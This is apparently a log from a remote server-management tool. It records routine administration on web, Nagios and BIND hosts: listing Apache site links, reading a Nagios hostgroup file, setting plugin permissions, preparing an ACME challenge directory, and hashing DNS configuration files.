link(/etc/apache2/sites-enabled/myapp_pai-rco_care.conf)= /etc/apache2/sites-available/myapp_pai-rco_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_store_com.conf)= /etc/apache2/sites-available/patientappsinc_store_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-mdfu_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf)= /etc/apache2/sites-available/myapp_sma1-lsg_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf)= /etc/apache2/sites-available/myapp_ma1-shem_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf)= /etc/apache2/sites-available/myapp_ma1-ropn_care.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2/sites-available/patientapps_go_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf)= /etc/apache2/sites-available/myapp_ma1-cybb_care.conf
link(/etc/apache2/sites-enabled/myapp_cn-dego_care.conf)= /etc/apache2/sites-available/myapp_cn-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf)= /etc/apache2/sites-available/myapp_sma1-pcnl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf)= /etc/apache2/sites-available/myapp_ma1-infp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf)= /etc/apache2/sites-available/myapp_ma1-turp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf)= /etc/apache2/sites-available/myapp_ma1-tylo_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf)= /etc/apache2/sites-available/myapp_ma1-pfer_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf)= /etc/apache2/sites-available/myapp_pai-acrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2/sites-available/patientapps_www_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf)= /etc/apache2/sites-available/myapp_ma1-osbp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf)= /etc/apache2/sites-available/myapp_pai-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-rcl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rcl.conf)= /etc/apache2/sites-available/myapp_ma1-rcl.conf
link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2/sites-available/patientapps_portal_net.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf)= /etc/apache2/sites-available/myapp_pai-lsg-s_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf)= /etc/apache2/sites-available/myapp_ma1-octf_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf)= /etc/apache2/sites-available/myapp_ma1-epas_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf)= /etc/apache2/sites-available/myapp_ma1-tosr_care.conf




STDERR:
/tmp/pkp227022:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-07 12:57:55: Establishing a connection
2026-03-07 12:57:55: 

PUT: /tmp/pkp701111

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-07 12:57:55: 

chmod 755 /tmp/pkp701111; /tmp/pkp701111; rm /tmp/pkp701111

2026-03-07 12:57:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-07 12:57:55: 

systemctl reload nagios

2026-03-07 12:57:55: 




2026-03-07 12:58:26: Establishing a connection
2026-03-07 12:58:27: Establishing a connection
2026-03-07 12:58:27: 

PUT: /tmp/pkp770043

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp770043; /tmp/pkp770043; rm /tmp/pkp770043

2026-03-07 12:58:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-07 12:58:27: 

systemctl reload nagios

2026-03-07 12:58:27: 




2026-03-07 12:58:27: 

PUT: /tmp/pkp305835

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp305835; /tmp/pkp305835; rm /tmp/pkp305835

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp352969

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp352969; /tmp/pkp352969; rm /tmp/pkp352969

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp850558

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp850558; /tmp/pkp850558; rm /tmp/pkp850558

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp746987

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp746987; /tmp/pkp746987; rm /tmp/pkp746987

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp900575

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp900575; /tmp/pkp900575; rm /tmp/pkp900575

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp214234

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp214234; /tmp/pkp214234; rm /tmp/pkp214234

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp226210

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp226210; /tmp/pkp226210; rm /tmp/pkp226210

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp471843

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp471843; /tmp/pkp471843; rm /tmp/pkp471843

2026-03-07 12:58:27: 


ok


2026-03-07 12:58:27: 

PUT: /tmp/pkp262774

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-03-07 12:58:27: 

chmod 755 /tmp/pkp262774; /tmp/pkp262774; rm /tmp/pkp262774

2026-03-07 12:58:27: 


ok


2026-03-08 06:00:01: Establishing a connection
2026-03-08 06:00:03: Establishing a connection
2026-03-08 06:00:04: 

PUT: /tmp/pkp454905

#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-08 06:00:05: 

chmod 755 /tmp/pkp454905; /tmp/pkp454905; rm /tmp/pkp454905

2026-03-08 06:00:05: 


1


2026-03-08 06:00:07: Establishing a connection
2026-03-08 06:00:08: 

PUT: /tmp/pkp722236

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"


2026-03-08 06:00:09: 

chmod 755 /tmp/pkp722236; /tmp/pkp722236; rm /tmp/pkp722236

2026-03-08 06:00:10: 




2026-03-08 17:06:36: Establishing a connection
2026-03-08 17:08:25: Establishing a connection
2026-03-08 17:08:25: 

PUT: /tmp/pkp577897

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-08 17:08:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp577897; rm /tmp/pkp577897'

2026-03-08 17:08:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
